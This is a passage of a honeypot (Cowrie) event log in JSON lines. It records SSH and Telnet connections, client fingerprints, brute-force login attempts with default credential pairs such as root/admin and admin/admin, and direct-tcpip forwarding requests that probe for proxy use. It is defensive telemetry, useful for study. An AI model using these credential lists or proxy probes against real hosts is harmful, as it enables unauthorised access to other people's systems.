8-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:57:31.819910Z","src_ip":"47.86.95.62","session":"f520cce5655d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.186.113.226","src_port":57168,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd879ed07f31","protocol":"telnet","message":"New connection: 37.186.113.226:57168 (10.17.0.5:23) [session: cd879ed07f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:57:45.799080Z"}
{"eventid":"cowrie.session.closed","duration":55.92966270446777,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:57:58.520756Z","src_ip":"20.203.115.219","session":"a7b324227c61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.898531675338745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:58:16.697484Z","src_ip":"37.186.113.226","session":"cd879ed07f31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":50358,"dst_ip":"10.17.0.5","dst_port":22,"session":"1011a3dff24e","protocol":"ssh","message":"New connection: 47.86.95.62:50358 (10.17.0.5:22) [session: 1011a3dff24e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:58:25.121031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:58:25.130921Z","src_ip":"47.86.95.62","session":"1011a3dff24e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:58:31.664460Z","src_ip":"47.86.95.62","session":"1011a3dff24e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.38","src_port":54502,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b509a072196","protocol":"ssh","message":"New connection: 31.57.216.38:54502 (10.17.0.5:22) [session: 3b509a072196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:59:03.202722Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:59:03.208492Z","src_ip":"31.57.216.38","session":"3b509a072196","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.38","src_port":54512,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb1388ef2c59","protocol":"ssh","message":"New connection: 31.57.216.38:54512 (10.17.0.5:22) [session: fb1388ef2c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:59:04.438848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:59:04.443518Z","src_ip":"31.57.216.38","session":"fb1388ef2c59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:59:04.782298Z","src_ip":"31.57.216.38","session":"fb1388ef2c59","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:59:05.174938Z","src_ip":"31.57.216.38","session":"fb1388ef2c59","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"31.57.216.38","dst_port":80,"src_ip":"31.57.216.38","src_port":5555,"message":"direct-tcp connection request to 31.57.216.38:80 from 127.0.0.1:5555","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:59:05.284873Z","session":"fb1388ef2c59","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"31.57.216.38","dst_port":80,"data":"b'HDpoOVFbGzAWWHqpNKPmFFWUiwdTr3pb5UgNEihX3IPu1WobMC'","id":0,"message":"discarded direct-tcp forward request 0 to 31.57.216.38:80 with data b'HDpoOVFbGzAWWHqpNKPmFFWUiwdTr3pb5UgNEihX3IPu1WobMC'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:59:05.389534Z","src_ip":"31.57.216.38","session":"fb1388ef2c59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:59:05.497689Z","src_ip":"31.57.216.38","session":"fb1388ef2c59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:59:22.227894Z","src_ip":"47.86.95.62","session":"f520cce5655d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:59:59.060350Z","src_ip":"47.86.95.62","session":"1011a3dff24e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.28.152.127","src_port":36844,"dst_ip":"159.203.135.109","dst_port":23,"session":"32fd97bfb8ba","protocol":"telnet","message":"New connection: 123.28.152.127:36844 (159.203.135.109:23) [session: 32fd97bfb8ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:00:12.942513Z"}
{"eventid":"cowrie.session.closed","duration":"114.0","message":"Connection lost after 114.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:00:19.129845Z","src_ip":"47.86.95.62","session":"1011a3dff24e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.912256240844727,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:00:26.854649Z","src_ip":"123.28.152.127","session":"32fd97bfb8ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":31670,"dst_ip":"10.17.0.5","dst_port":22,"session":"621e8bdf9c55","protocol":"ssh","message":"New connection: 2.57.121.112:31670 (10.17.0.5:22) [session: 621e8bdf9c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:00:27.874388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:00:27.887584Z","src_ip":"2.57.121.112","session":"621e8bdf9c55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:00:27.994209Z","src_ip":"2.57.121.112","session":"621e8bdf9c55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"daddie","message":"login attempt [admin/daddie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:00:28.491078Z","src_ip":"2.57.121.112","session":"621e8bdf9c55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":46716,"dst_ip":"10.17.0.5","dst_port":22,"session":"32139c0fb821","protocol":"ssh","message":"New connection: 47.86.95.62:46716 (10.17.0.5:22) [session: 32139c0fb821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:00:29.102690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:00:29.111475Z","src_ip":"47.86.95.62","session":"32139c0fb821","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"D9uNgL","message":"login attempt [admin/D9uNgL] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:00:29.599980Z","src_ip":"2.57.121.112","session":"621e8bdf9c55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"D9ebk7","message":"login attempt [admin/D9ebk7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:00:30.710042Z","src_ip":"2.57.121.112","session":"621e8bdf9c55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"cyberman","message":"login attempt [admin/cyberman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:00:31.819734Z","src_ip":"2.57.121.112","session":"621e8bdf9c55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"cvbncvbn","message":"login attempt [admin/cvbncvbn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:00:32.928799Z","src_ip":"2.57.121.112","session":"621e8bdf9c55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:00:34.042832Z","src_ip":"2.57.121.112","session":"621e8bdf9c55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":53670,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca48e6069e1d","protocol":"ssh","message":"New connection: 47.86.95.62:53670 (10.17.0.5:22) [session: ca48e6069e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:01:20.146117Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":6164,"dst_ip":"10.17.0.5","dst_port":22,"session":"bed829cc4b52","protocol":"ssh","message":"New connection: 87.251.64.176:6164 (10.17.0.5:22) [session: bed829cc4b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:01:25.288891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:01:25.296522Z","src_ip":"87.251.64.176","session":"bed829cc4b52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:01:25.389042Z","src_ip":"87.251.64.176","session":"bed829cc4b52","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:01:25.766911Z","src_ip":"87.251.64.176","session":"bed829cc4b52","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:01:25.772490Z","src_ip":"47.86.95.62","session":"ca48e6069e1d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:01:25.869368Z","session":"bed829cc4b52","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:01:25.967979Z","src_ip":"87.251.64.176","session":"bed829cc4b52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:01:26.082933Z","src_ip":"87.251.64.176","session":"bed829cc4b52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:01:48.693966Z","src_ip":"47.86.95.62","session":"ca48e6069e1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:01:49.551132Z","src_ip":"47.86.95.62","session":"ca48e6069e1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"30.6","message":"Connection lost after 30.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:01:50.770578Z","src_ip":"47.86.95.62","session":"ca48e6069e1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:02:29.110104Z","src_ip":"47.86.95.62","session":"32139c0fb821","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":18422,"dst_ip":"10.17.0.5","dst_port":22,"session":"e845dbda2121","protocol":"ssh","message":"New connection: 2.57.121.25:18422 (10.17.0.5:22) [session: e845dbda2121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:02:41.875546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:02:41.880365Z","src_ip":"2.57.121.25","session":"e845dbda2121","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:02:41.984035Z","src_ip":"2.57.121.25","session":"e845dbda2121","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dedede","message":"login attempt [user/dedede] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:02:42.470873Z","src_ip":"2.57.121.25","session":"e845dbda2121","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dede","message":"login attempt [user/dede] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:02:43.577053Z","src_ip":"2.57.121.25","session":"e845dbda2121","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dbnfkz","message":"login attempt [user/dbnfkz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:02:44.683213Z","src_ip":"2.57.121.25","session":"e845dbda2121","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"days","message":"login attempt [user/days] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:02:45.792471Z","src_ip":"2.57.121.25","session":"e845dbda2121","protocol":"ssh"}
